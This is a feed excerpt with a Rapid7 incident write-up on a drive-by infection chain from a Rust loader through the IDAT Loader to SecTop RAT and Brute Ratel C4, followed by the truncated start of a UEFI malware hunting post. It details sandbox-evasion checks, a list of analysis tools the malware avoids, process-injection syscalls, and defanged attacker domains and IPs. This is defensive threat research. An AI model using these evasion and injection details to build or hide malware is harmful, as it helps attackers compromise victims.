      <description><![CDATA[<p>Rapid7’s Managed Detection and Response (MDR) team continuously monitors our customers' environments, identifying emerging threats and developing new detections.</p><p>In August 2023, Rapid7 identified a new malware loader named the <a href="/blog/post/2023/08/31/fake-update-utilizes-new-idat-loader-to-execute-stealc-and-lumma-infostealers/">IDAT Loader.</a> Malware loaders are a type of malicious software designed to deliver and execute additional malware onto a victim's system. What made the IDAT Loader unique was the way in which it retrieved data from PNG files, searching for offsets beginning with 49 44 41 54 (IDAT).</p><p>At the time, the loader was seen being distributed via a FakeUpdates campaign. In two recent investigations, Rapid7’s Managed Detection & Response (MDR) observed the loader being used again. Based on the recent tactics, techniques and procedures observed (TTPs), we believe the activity is associated with financially motivated threat groups.</p><p>In this two-part blog series, we will examine the attack chain observed in two separate incidents, offering in-depth analysis of the malicious behavior detected. The incidents discussed in the series stem from opportunistic infections, wherein threat groups utilize malvertising and drive-by downloads in order to have their initial malicious payloads executed by users.</p><p>This first installment focuses on an incident triggered by a user downloading an application, which subsequently triggered the execution of the IDAT Loader and the BruteRatel C4 (BRC4) framework following initial access to a compromised asset.</p><h2>Technical Analysis</h2><h3>Stage 1: The drive by</h3><p>In a recent incident, we observed a user navigate to a website that hosted popular Korean shows. Upon attempting to watch the video, the website redirected the user's browser through multiple websites, eventually leading to the download of an application named <strong><em>AppFile_v1.1.exe</em></strong>. Threat actors utilize website redirection in order to make it difficult for network technologies to scan links for malicious content.</p><p></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt211e1f3c46ad20ed/683dea49c26e07819b28ea58/IDAT_2_final3-1.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="IDAT_2_final3-1.png" asset-alt="IDAT_2_final3-1.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt211e1f3c46ad20ed/683dea49c26e07819b28ea58/IDAT_2_final3-1.png" data-sys-asset-uid="blt211e1f3c46ad20ed" data-sys-asset-filename="IDAT_2_final3-1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="IDAT_2_final3-1.png" sys-style-type="display"/></figure><p></p><h3>Binary Analysis: Shaking off the Rust</h3><p>After initial analysis of the binary <em><strong>AppFile_v1.1.exe</strong></em>, we determined the program was written in Rust.</p><p>During execution, the program will query the name of the executable. If the executable’s name matches <strong><em>AppFile_v1.1.exe</em></strong><strong>,</strong> the program will continue. Most sandboxes will rename the files (sometimes based on the hash) of submitted programs. This technique helps to evade sandboxes, ensuring the malicious functions are not run. If the program name does not match its original intended name,  the program will quit and display an error message, showing an image that a web page could not be loaded.</p><p></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt399833acd07bfb9f/683dea597f860362b5230a59/Screenshot-2024-03-28-at-1.24.16-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-03-28-at-1.24.16-PM.png" asset-alt="Screenshot-2024-03-28-at-1.24.16-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt399833acd07bfb9f/683dea597f860362b5230a59/Screenshot-2024-03-28-at-1.24.16-PM.png" data-sys-asset-uid="blt399833acd07bfb9f" data-sys-asset-filename="Screenshot-2024-03-28-at-1.24.16-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-03-28-at-1.24.16-PM.png" sys-style-type="display"/></figure><p></p><p>Next, the program will check to see if it resides within a debugger by querying the function <em><strong>IsDebuggerPresent</strong></em>. If the check passes, it will decrypt a hard-coded string that resolves to “Normal”. If not, the program will decrypt another hard-coded string that resolves to “Debugger” and then exit.</p><p>Once the anti-debug check passes, the program retrieves an encrypted string and XOR decrypts it, revealing the URL <strong><em>hxxps://cdn-network-services-001[.]com/update/minor/1/release.json</em></strong><strong>.</strong></p><p>The program will then perform anti-analysis techniques, specifically querying for the username and open process and comparing them to a list of known sandbox usernames and tools. The list of usernames and processes are also XOR-encrypted and are decrypted at runtime. Based on <a href="/fundamentals/what-is-open-source-intelligence-osint/">Open Source Intelligence</a>, we determined that another malware known as <a href="https://malware.news/t/uncovering-the-serpent/76253">Serpent Stealer</a> contained a similar table of user names. See Appendix A below for the complete list.</p><p></p><table cols="2" colWidths="250,250"><thead><tr><th>Usernames</th><th>Known Sandbox Tools/Processes</th></tr></thead><tbody><tr><td>hbyldjtckyn1</td><td>httpdebuggerui.exe</td></tr><tr><td>lubi53an14cu</td><td>immunitydebugger.exe</td></tr><tr><td>rgzcbuyrznreg</td><td>ksdumperclient.exe</td></tr><tr><td>8lnfaai9qdjr</td><td>httpanalyzerstdv7.exe</td></tr><tr><td>j6sha37ka</td><td>ida64.exe</td></tr></tbody></table><p></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt682948df3189d940/683dea682cfe324ff9dc1950/Screenshot-2024-03-28-at-1.27.06-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-03-28-at-1.27.06-PM.png" asset-alt="Screenshot-2024-03-28-at-1.27.06-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt682948df3189d940/683dea682cfe324ff9dc1950/Screenshot-2024-03-28-at-1.27.06-PM.png" data-sys-asset-uid="blt682948df3189d940" data-sys-asset-filename="Screenshot-2024-03-28-at-1.27.06-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-03-28-at-1.27.06-PM.png" sys-style-type="display"/></figure><p></p><p>If any of the checks fail, the program will exit and display the message box. If the checks pass, the program will then utilize Rust library <em><strong>tokio-1.32.0/src/net/tcp/stream.rs</strong></em> in order to read in data from the decrypted URL and store the contents in memory.</p><p>Upon initial analysis, the downloaded data appeared to be encoded. Subsequently, the data is passed into a function tasked with decoding it. The decoding process involves reading each byte and subtracting the hexadecimal value 32.</p><p></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3f243c81d0d87c48/683dea76c26e077e8528ea68/Screenshot-2024-03-28-at-1.29.55-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-03-28-at-1.29.55-PM.png" asset-alt="Screenshot-2024-03-28-at-1.29.55-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3f243c81d0d87c48/683dea76c26e077e8528ea68/Screenshot-2024-03-28-at-1.29.55-PM.png" data-sys-asset-uid="blt3f243c81d0d87c48" data-sys-asset-filename="Screenshot-2024-03-28-at-1.29.55-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-03-28-at-1.29.55-PM.png" sys-style-type="display"/></figure><p></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt68475ce8e6d6c346/683dea842a9b68e2962bd542/Screenshot-2024-03-28-at-1.30.27-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-03-28-at-1.30.27-PM.png" asset-alt="Screenshot-2024-03-28-at-1.30.27-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt68475ce8e6d6c346/683dea842a9b68e2962bd542/Screenshot-2024-03-28-at-1.30.27-PM.png" data-sys-asset-uid="blt68475ce8e6d6c346" data-sys-asset-filename="Screenshot-2024-03-28-at-1.30.27-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-03-28-at-1.30.27-PM.png" sys-style-type="display"/></figure><p></p><p>After the downloaded data is decoded, the program XOR decrypts another string, revealing a path to the executable <em><strong>C:\Windows\system32\werfault.exe</strong></em>. Using <a href="https://www.paloaltonetworks.com/blog/security-operations/a-deep-dive-into-malicious-direct-syscall-detection/">syscalls</a>, the program then does the following:</p><p></p><table cols="3" colWidths="250,250,250"><thead><tr><th>Windows API Function</th><th>Syscall ID</th><th>Description</th></tr></thead><tbody><tr><td>NtOpenProcess</td><td>0x0026</td><td>Used to start the process werfault.exe</td></tr><tr><td>NtCreateUserProcess</td><td>0x00c8</td><td>Used for spoofing Parent Process ID (PPID)</td></tr><tr><td>NtAllocateVirtualMemory</td><td>0x0018</td><td>Allocate new space within memory, storing the new executable</td></tr><tr><td>NtGetContextThread</td><td>0x00F2</td><td>Used to retrieve the context of a thread within the target process (werfault.exe).</td></tr><tr><td></td><td></td><td>The thread in this case is a pointer to the entry point of the new executable</td></tr><tr><td>NtSetContextThread</td><td>0x0018B</td><td>Used to point to the thread from NtGetContextThread</td></tr><tr><td>NtResumeThread</td><td>0x0052</td><td>Starts the thread set by NtSetContextThread</td></tr></tbody></table><p></p><p>After analysis of the decoded binary, we determined that it was another executable written in Rust. The program's executable contains a zip archive within the <strong><em>.rdata</em></strong> section. During execution, the program generates a folder with a randomly generated name in the <strong><em>%TEMP%</em></strong> directory and extracts the contents of the archive into this newly created folder.</p><p></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9e89e09049810471/683dea8e237ea62a1891c531/Screenshot-2024-03-28-at-1.32.11-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-03-28-at-1.32.11-PM.png" asset-alt="Screenshot-2024-03-28-at-1.32.11-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9e89e09049810471/683dea8e237ea62a1891c531/Screenshot-2024-03-28-at-1.32.11-PM.png" data-sys-asset-uid="blt9e89e09049810471" data-sys-asset-filename="Screenshot-2024-03-28-at-1.32.11-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-03-28-at-1.32.11-PM.png" sys-style-type="display"/></figure><p></p><p>The archive contained a DLL, <em><strong>msidcrl40.dll</strong></em>, an executable named<strong> </strong><strong><em>live.exe</em></strong> and an encrypted file, <em><strong>dynatron.mdb</strong></em>. Initial analysis of the DLL <em><strong>msidcrl40.dll</strong></em> showed that the DLL’s signature was corrupted, indicating the DLL was tampered with. Further analysis showed that the DLL contained code related to the IDAT Loader.</p><h3>IDAT Loader</h3><p></p><p>After the rust program drops the contents of the zip archive, it then proceeds to execute the binary <em><strong>live.exe</strong></em>, which sideloads the DLL, <em><strong>msidcrl40.dll</strong></em>, containing the IDAT Loader code.</p><p>After the binary<strong> </strong><strong><em>live.exe</em></strong><strong> </strong>loads the DLL <em><strong>msidcrl40.dll</strong></em>, the DLL executes the function containing  the IDAT Loader. The loader then reads in encrypted contents contained within the file <em><strong>dynatron.mdb</strong></em>, searching for the offset <strong><em>49 44 41 54 (IDAT)</em></strong> followed by <strong><em>C6 A5 79 EA</em></strong>. After decrypting the contents, the loader will then decompress the contents using <em><strong>RtlDecompressBuffer</strong></em> and execute additional code into a newly created process, <strong><em>cmd.exe</em></strong><strong>.</strong></p><p>The IDAT loader employs advanced techniques such as <a href="https://attack.mitre.org/techniques/T1055/013/">Process Doppelgänging</a> and the <a href="https://sachiel-archangel.medium.com/analysis-of-heavens-gate-part-1-62cca0ace6f0">Heaven’s Gate technique</a> in order to initiate new processes and inject additional code.</p><p>The code contained within<strong> </strong><strong><em>cmd.exe </em></strong>is responsible for decrypting the final payload and injecting it into a newly created process, <strong><em>msbuild.exe</em></strong><strong>.</strong></p><p>Using our <a href="https://github.com/rapid7/Rapid7-Labs/blob/main/Malware%20Config%20Extractors/IDAT_Loader_extractor.py">IDAT Loader config extractor</a>, we were able to extract the final payload and determined that it was <em><strong>SecTop RAT</strong></em>. During execution of the <em><strong>SecTop RAT</strong></em>, we observed that it communicated with the IP address <strong><em>152.89.217[.]215</em></strong><strong>.</strong></p><p></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8804096362ae7c3c/683dea983e68ee81c4889c9f/Screenshot-2024-03-28-at-1.35.18-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-03-28-at-1.35.18-PM.png" asset-alt="Screenshot-2024-03-28-at-1.35.18-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8804096362ae7c3c/683dea983e68ee81c4889c9f/Screenshot-2024-03-28-at-1.35.18-PM.png" data-sys-asset-uid="blt8804096362ae7c3c" data-sys-asset-filename="Screenshot-2024-03-28-at-1.35.18-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-03-28-at-1.35.18-PM.png" sys-style-type="display"/></figure><p></p><h3>Post-Exploitation: BRC4 Deployment</h3><p>After the <strong><em>SecTop RAT</em></strong><strong> </strong>was executed successfully, Rapid7 observed follow-on activity in which the threat actor executed another version of the IDAT loader from within the folder path <em><strong>C:\ProgramData\</strong></em>. We observed the following related files were dropped by the threat actor into <em><strong>C:\ProgramData</strong></em>:</p><p></p><table cols="2" colWidths="250,250"><thead><tr><th>Files</th><th>Description</th></tr></thead><tbody><tr><td>glib-2.0.dll</td><td>Benign executable loaded by rvm.exe</td></tr><tr><td>iconv.dll</td><td>Benign executable loaded by rvm.exe</td></tr><tr><td>intl.dll</td><td>Benign executable loaded by rvm.exe</td></tr><tr><td>rvm.exe</td><td>Legitimate executable that loads vmtools.dll during execution</td></tr><tr><td>spank.mpg</td><td>Encrypted file containing IDAT sections, read in by vmtools.dll</td></tr><tr><td>vmtools.dll</td><td>Tampered DLL containing IDAT Loader, loaded by rvm.exe</td></tr></tbody></table><p></p><p>After analysis of the files, we determined that <em><strong>rvm.exe</strong></em> was a renamed executable <em><strong>rvmsetup.exe</strong></em>, a legitimate tool that is a part of the VMWare Tools toolset. The binary is used to join a VMWare source virtual machine to an active directory domain. We also observed that the binary<strong> </strong><strong><em>vmtools.dll</em></strong><strong> </strong>had a corrupted signature, indicating the binary’s code was tampered with. We observed that the DLL <strong><em>vmtools.dll</em></strong><strong> </strong>contained code related to the IDAT Loader.</p><p>During execution of the executable, <strong><em>rvm.exe</em></strong><strong>,</strong> the program loads <strong><em>vmtools.dll</em></strong><strong>.</strong> After <strong><em>vmtools.dll</em></strong><strong> </strong>is loaded, the DLL is directed to execute a function that contains the IDAT Loader. The IDAT Loader proceeds to read in contents from within <em><strong>spank.mpg</strong></em>, searching for the same offset, 49 44 41 54 (IDAT) followed by C6 A5 79 EA. After decrypting the contents within <em><strong>spank.mpg</strong></em>, the IDAT Loader spawns a new process, <em><strong>cmd.exe</strong></em>, injecting additional code that is responsible for decrypting the final payload and injecting it into a newly created process, <strong><em>explorer.exe</em></strong><strong>.</strong></p><p>Using our <a href="https://github.com/rapid7/Rapid7-Labs/blob/main/Malware%20Config%20Extractors/IDAT_Loader_extractor.py">static config extractor</a>, we extracted the final payload, a 64-bit executable. During initial analysis of the final payload, we observed that the program utilized the API functions <em><strong>VirtualAlloc</strong></em> and <em><strong>VirtualProtect</strong></em><em>. </em>During execution of the program, it utilized<strong> </strong><strong><em>VirtualAlloc</em></strong> to read in and store additional code, including encrypted data, into a new region of memory. The program then called upon the function <em><strong>VirtualProtect</strong></em>, changing the newly allocated region of memory (containing the new code) to be executable. We also observed the 64 bit executable (obtained from the IDAT Loader python script) had the capability to perform <em><strong>process hollowing</strong></em> by starting a new process, <em><strong>notepad.exe</strong></em><em>,</em> and injecting the code into the newly created process.</p><p></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt98c549b1eed9e872/683deaa33d7b5e9c4613696b/Screenshot-2024-03-28-at-1.39.26-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-03-28-at-1.39.26-PM.png" asset-alt="Screenshot-2024-03-28-at-1.39.26-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt98c549b1eed9e872/683deaa33d7b5e9c4613696b/Screenshot-2024-03-28-at-1.39.26-PM.png" data-sys-asset-uid="blt98c549b1eed9e872" data-sys-asset-filename="Screenshot-2024-03-28-at-1.39.26-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-03-28-at-1.39.26-PM.png" sys-style-type="display"/></figure><p></p><p>The newly allocated code was responsible for decrypting the encrypted data using RC4, copying the decrypted code into an allocated memory buffer via <em><strong>VirtualAlloc</strong></em><em>,</em> and setting the memory buffer to have executable permission using <em><strong>VirtualProtect</strong></em>. Rapid7 determined the decrypted code was a Brute Ratel C4 (BRC4) “badger”.</p><p>Brute Ratel originated as a post-exploitation tool intended for penetration testers, designed to mimic adversary tactics as of December 2020. Its development aimed to replicate the functionality of established Command and Control (C2) software like Cobalt Strike, Mythic and Sliver. Following a successful compromise of a target, the attacker deploys the Brute Ratel "badger," tasked with establishing communication with the attacker's Command and Control domain.</p><p>During execution of the BRC4 program, we observed that it reached out to the domain <em><strong>updatenazure[.]com</strong></em><em>.</em></p><p></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltfa4d5de67f3e3007/683deaace3c8aae5a4831094/Screenshot-2024-03-28-at-1.41.02-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-03-28-at-1.41.02-PM.png" asset-alt="Screenshot-2024-03-28-at-1.41.02-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltfa4d5de67f3e3007/683deaace3c8aae5a4831094/Screenshot-2024-03-28-at-1.41.02-PM.png" data-sys-asset-uid="bltfa4d5de67f3e3007" data-sys-asset-filename="Screenshot-2024-03-28-at-1.41.02-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-03-28-at-1.41.02-PM.png" sys-style-type="display"/></figure><p></p><p>After the BRC4 program was executed, we observed the threat actor attempting to enumerate the domain controller by using the command <strong><em>nltest /dclist</em></strong><strong>.</strong></p><h2>Rapid7 Customers</h2><p></p><p>InsightIDR and Managed Detection and Response customers have existing detection coverage through Rapid7's expansive library of detection rules. Rapid7 recommends installing the Insight Agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. Below is a non-exhaustive list of detections deployed and alerting on activity described:</p><ul><li>Network Discovery - Nltest Enumerate Domain Controllers</li><li>Suspicious Process - Execution From Root of ProgramData</li><li>Suspicious Process - PowerShell Uncommon Upper And Lower Case Combinations</li><li>Suspicious Process - explorer.exe in Non-Standard Location</li></ul><h2>Appendix A: Known Sandbox Usernames and Analysis Tools</h2><p></p><table cols="2" colWidths="250,250"><thead><tr><th>Usernames</th><th>Processes</th></tr></thead><tbody><tr><td>hbyldjtckyn1</td><td>httpdebuggerui.exe</td></tr><tr><td>lubi53an14cu</td><td>immunitydebugger.exe</td></tr><tr><td>rgzcbuyrznreg</td><td>ksdumperclient.exe</td></tr><tr><td>8lnfaai9qdjr</td><td>httpanalyzerstdv7.exe</td></tr><tr><td>j6sha37ka</td><td>ida64.exe</td></tr><tr><td>keecfmwgj</td><td>32dbg.exe</td></tr><tr><td>pwouqdtdq</td><td>64dbg.exe</td></tr><tr><td>qmis5df7u</td><td>protection_id.exe</td></tr><tr><td>txwas1m2t</td><td>vmsrvc.exe</td></tr><tr><td>uox1tzamo</td><td>x32dbg.exe</td></tr><tr><td>rb5bnfur2</td><td>x64dbg.exe</td></tr><tr><td>cm0uegn4do</td><td>x96dbg.exe</td></tr><tr><td>douyo8rv71</td><td>prl_cc.exe</td></tr><tr><td>paul jones</td><td>windbg.exe</td></tr><tr><td>pxmduopvyx</td><td>scylla.exe</td></tr><tr><td>fnbdsldtxy</td><td>idau64.exe</td></tr><tr><td>gexwjqdjxg</td><td>idaq64.exe</td></tr><tr><td>gjam1nxxvm</td><td>idag64.exe</td></tr><tr><td>jcotj17dzx</td><td>taskmgr.exe</td></tr><tr><td>05kvauqkpqk5</td><td>procexp.exe</td></tr><tr><td>64f2tkiqo5k5h</td><td>procmon.exe</td></tr><tr><td>of20xqh4vl</td><td>fiddler.exe</td></tr><tr><td>harry johnson</td><td>dumpcap.exe</td></tr><tr><td>4tgiizslims</td><td>df5serv.exe</td></tr><tr><td>bvjchrpnsxn</td><td>ollydbg.exe</td></tr><tr><td>kfu0lqwgx5p</td><td>rdpclip.exe</td></tr><tr><td>nok4zg7zhof</td><td>vmusrvc.exe</td></tr><tr><td>ogjb6gqgk0o5</td><td>qemu-ga.exe</td></tr><tr><td>xplyvzr8sgc</td><td>vboxtray.exe</td></tr><tr><td>ykj0egq7fze</td><td>vmtoolsd.exe</td></tr><tr><td>ryjijkiroms</td><td>pestudio.exe</td></tr><tr><td>nzap7ubvas1</td><td>vmacthlp.exe</td></tr><tr><td>9yjcpseyimh</td><td>procexp64.exe</td></tr><tr><td>uhuqiuwoefu</td><td>wireshark.exe</td></tr><tr><td>6o4kyhhjxbir</td><td>prl_tools.exe</td></tr><tr><td>7wjlgx7pjlw4</td><td>importrec.exe</td></tr><tr><td>8nl0colnq5bq</td><td>vmwaretray.exe</td></tr><tr><td>g2dbyldgzz8yo</td><td>vmwareuser.exe</td></tr><tr><td>pqonjhvwexsst</td><td>xenservice.exe</td></tr><tr><td>rdhj0cnfevzxf</td><td>scylla_x86.exe</td></tr><tr><td>xmimmckziitdl</td><td>scylla_x64.exe</td></tr><tr><td>l3cnbb8ar5b8</td><td>vboxservice.exe</td></tr><tr><td>vzy4jmh0jw02</td><td></td></tr><tr><td>21zlucunfi85</td><td></td></tr><tr><td>sal.rosenburg</td><td></td></tr><tr><td>defaultaccount</td><td></td></tr><tr><td>wdagutilityaccount</td><td></td></tr></tbody></table><p></p><h2>MITRE ATT&CK Techniques</h2><table cols="3" colWidths="250,250,250"><thead><tr><th>Tactics</th><th>Techniques</th><th>Details</th></tr></thead><tbody><tr><td>Initial Access</td><td>Drive-by Compromise (T1189)</td><td>Threat Actors utilize drive-by downloads in order to direct browsers to download their initial payloads without users consent</td></tr><tr><td>Execution</td><td>User Execution: Malicious File (T1204.002)</td><td>Users execute the binary AppFile_v1.1.exe</td></tr><tr><td>Execution</td><td>Native API (T1106)</td><td>The IDAT injector and IDAT loader are using Heaven’s Gate technique to evade detection</td></tr><tr><td>Defense Evasion</td><td>Hijack Execution Flow: DLL Search Order Hijacking (T1574.001)</td><td>run.exe loads a malicious wbxtrace.dll</td></tr><tr><td>Defense Evasion</td><td>Process Injection (T1055)</td><td>IDAT injector implements NtCreateSection + NtMapViewOfSection Code Injection technique to inject into cmd.exe process</td></tr><tr><td>Defense Evasion</td><td>Deobfuscate/Decode Files or Information (T1140)</td><td>msidcrl40.dll decrypts dynatron.mdb</td></tr><tr><td>Defense Evasion</td><td>Process Injection: Process Doppelgänging (T1055.013)</td><td>IDAT loader implements Process Doppelgänging technique to load the SecTop RAT</td></tr><tr><td>Defense Evasion</td><td>Masquerading (T1036)</td><td>dynatron.mdb file masqueraded to a .png file</td></tr><tr><td>Defense Evasion</td><td>Virtualization/Sandbox Evasion: Time Based Evasion (T1497.003)</td><td>Execution delays are performed by several stages throughout the attack flow</td></tr></tbody></table><p></p><h2>IOCs</h2><table cols="3" colWidths="250,250,250"><thead><tr><th>IOC</th><th>Sha256</th><th>Notes</th></tr></thead><tbody><tr><td>AppFile_v1.1.exe</td><td>A3A5E7011335A2284E2D4F73FD464FF129F0C9276878A054C1932BC50608584B</td><td>Rust Loader responsible for downloading IDAT Loader</td></tr><tr><td>msidcrl40.dll</td><td>02D5E281689EC2D4AB8AC19C93321A09113E5D8FA39380A7021580EA1887B7A5</td><td>Malicious DLL executed by live.exe</td></tr><tr><td>dynatron.mdb</td><td>C5C52331B208CAD19DC710786E26AC55090FFCA937410D76C53569D731F0BB92</td><td>Encrypted payload decrypted by msidcrl40.dll</td></tr><tr><td>vmtools.dll</td><td>BEFE0DF365F0E2DC05225470E45FDF03609F098A526D617C478B81AC6BB9147F</td><td>Malicious DLL executed by rvm.exe</td></tr><tr><td>spank.mpg</td><td>E05E561C5118EFDBCA113CA231C527B62E59A4BFFAE3BD374F7B4FCDD10E7D90</td><td>Encrypted payload decrypted by vmtools.dll</td></tr><tr><td>hxxps://cdn-network-services-001[.]com/update/minor/1/release.json</td><td></td><td>Downloads additional Rust binary containing IDAT Loader</td></tr><tr><td>152.89.217[.]215</td><td></td><td>SecTop RAT domain</td></tr><tr><td>updatenazure[.]com</td><td></td><td>BRC4 Domain</td></tr></tbody></table><p></p><h2>References</h2><table cols="2" colWidths="250,250"><thead><tr><th>Article</th><th>URL</th></tr></thead><tbody><tr><td>Uncovering the “Serpent”</td><td><a href="https://malware.news/t/uncovering-the-serpent/76253">https://malware.news/t/uncovering-the-serpent/76253</a></td></tr><tr><td>Process Doppelgänging</td><td><a href="https://malware.news/t/uncovering-the-serpent/76253">https://malware.news/t/uncovering-the-serpent/76253</a></td></tr><tr><td>Analysis of “Heaven’s Gate” part 1</td><td><a href="https://sachiel-archangel.medium.com/analysis-of-heavens-gate-part-1-62cca0ace6f0">https://sachiel-archangel.medium.com/analysis-of-heavens-gate-part-1-62cca0ace6f0</a></td></tr><tr><td>A Deep Dive Into Malicious Direct Syscall Detection</td><td><a href="https://www.paloaltonetworks.com/blog/security-operations/a-deep-dive-into-malicious-direct-syscall-detection/">https://www.paloaltonetworks.com/blog/security-operations/a-deep-dive-into-malicious-direct-syscall-detection/</a></td></tr><tr><td>Fake Update Utilizes New IDAT Loader To Execute StealC and Lumma Infostealers</td><td><a href="/blog/post/2023/08/31/fake-update-utilizes-new-idat-loader-to-execute-stealc-and-lumma-infostealers/">https://www.rapid7.com/blog/post/2023/08/31/fake-update-utilizes-new-idat-loader-to-execute-stealc-and-lumma-infostealers/</a></td></tr></tbody></table><p></p><h2>Rapid7 Labs GitHub</h2><p> <a href="https://github.com/rapid7/Rapid7-Labs/blob/main/Malware%20Config%20Extractors/IDAT_Loader_extractor.py">https://github.com/rapid7/Rapid7-Labs/blob/main/Malware Config Extractors/IDAT_Loader_extractor.py</a></p>]]></description>
      <link>https://www.rapid7.com/blog/post/2024/03/28/stories-from-the-soc-part-1-idat-loader-to-bruteratel</link>
      <guid isPermaLink="false">blt858fe16bb0150d71</guid>
      <category><![CDATA[Malware]]></category>
      <category><![CDATA[Managed Detection and Response (MDR)]]></category><dc:creator><![CDATA[Tom Elkins]]></dc:creator>
      <pubDate>Thu, 28 Mar 2024 18:35:36 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt1df4c8940e2baa63/683de77d3e68ee590a889bad/GettyImages-1448456737.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[How To Hunt For UEFI Malware Using Velociraptor]]></title>
      <description><![CDATA[<p>UEFI threats have historically been limited in number and mostly implemented by nation state actors as stealthy persistence. However, the recent proliferation of Black Lotus on the dark web, Trickbot enumeration module (late 2022), and Glupteba (November 2023) indicates that this historical trend may be changing. </p><p>With this context, it is becoming important for security practitioners to understand visibility and collection capabilities for <a href="/info/understanding-the-uefi-malware-hiding-deep-in-your-system/">UEFI threats</a>. This post covers some of these areas and presents several recent Velociraptor artifacts that can be used in the field. Rapid7 has also released a <a href="/info/understanding-the-uefi-malware-hiding-deep-in-your-system/">white paper providing detailed information</a> about how UEFI malware works and some of the most common types. </p><p><strong>Background</strong></p><p>Unified Extensible Firmware Interface, or UEFI, is the interface between a system’s hardware and its operating system (OS). The technology can be viewed as an updated BIOS capability to improve and add security to the boot process.</p><p>The two main types of UEFI persistence are:</p><ol><li>Serial Peripheral Interface (SPI) based</li></ol><ul><li>Firmware payload implant that is resilient to even a hard disk format.</li><li>Difficult to implement — there are risks associated with implementing and potentially bricking a machine if there are mistakes with the firmware.</li><li>Difficult to detect at scale — defenders need to extract firmware which typically requires a signed driver, then running tools for analysis.</li><li>Typically an analyst would dump firmware, then extract variables and other interesting files like PEs for deep dive analysis.</li></ul><p>2. EFI System Partition (ESP) based</p><ul><li>A special FAT partition that stores bootloaders and sits late in the EFI boot process.</li><li>Much easier to implement, only requiring root privileges and to bypass Secure Boot.</li><li>Does not survive a machine format.</li></ul><p><strong>EFI Secure Variables API visibility</strong></p><p>EFI Secure Variables (or otherwise known as NVRAM) is how the system distributes components from the firmware during boot. From an analysis point of view, whilst dumping the firmware is difficult needing manual workflow, all operating systems provide some visibility from user space. This blog will discuss the Windows API; however, for reference Linux and macOS provides similar data.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltdfd2a20dcee175b0/683de1fcc26e0709f928e7e7/Screenshot-2024-02-28-at-12.25.52-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-02-28-at-12.25.52-PM.png" asset-alt="Screenshot-2024-02-28-at-12.25.52-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltdfd2a20dcee175b0/683de1fcc26e0709f928e7e7/Screenshot-2024-02-28-at-12.25.52-PM.png" data-sys-asset-uid="bltdfd2a20dcee175b0" data-sys-asset-filename="Screenshot-2024-02-28-at-12.25.52-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-02-28-at-12.25.52-PM.png" sys-style-type="display"/></figure><p><a href="https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-getfirmwareenvironmentvariablea"><em>GetFirmwareEnvironmentVariable</em></a><em> (Windows) </em>can collect the name, namespace guid and value of EFI secure variables. This collection can be used to check current state including key/signature database and revocation.</p><p>Some of the data points it enables extracting are:</p><ul><li>Platform Key (PK) — top level key.</li><li>Key Exchange Key (KEK)  — used to sign Signatures Database and Forbidden Signatures Database updates.</li><li>Signature database (db) — contains keys and/or hashes of allowed EFI binaries.</li><li>Forbidden signatures database (dbx) — contains keys and/or hashes of denylisted EFI 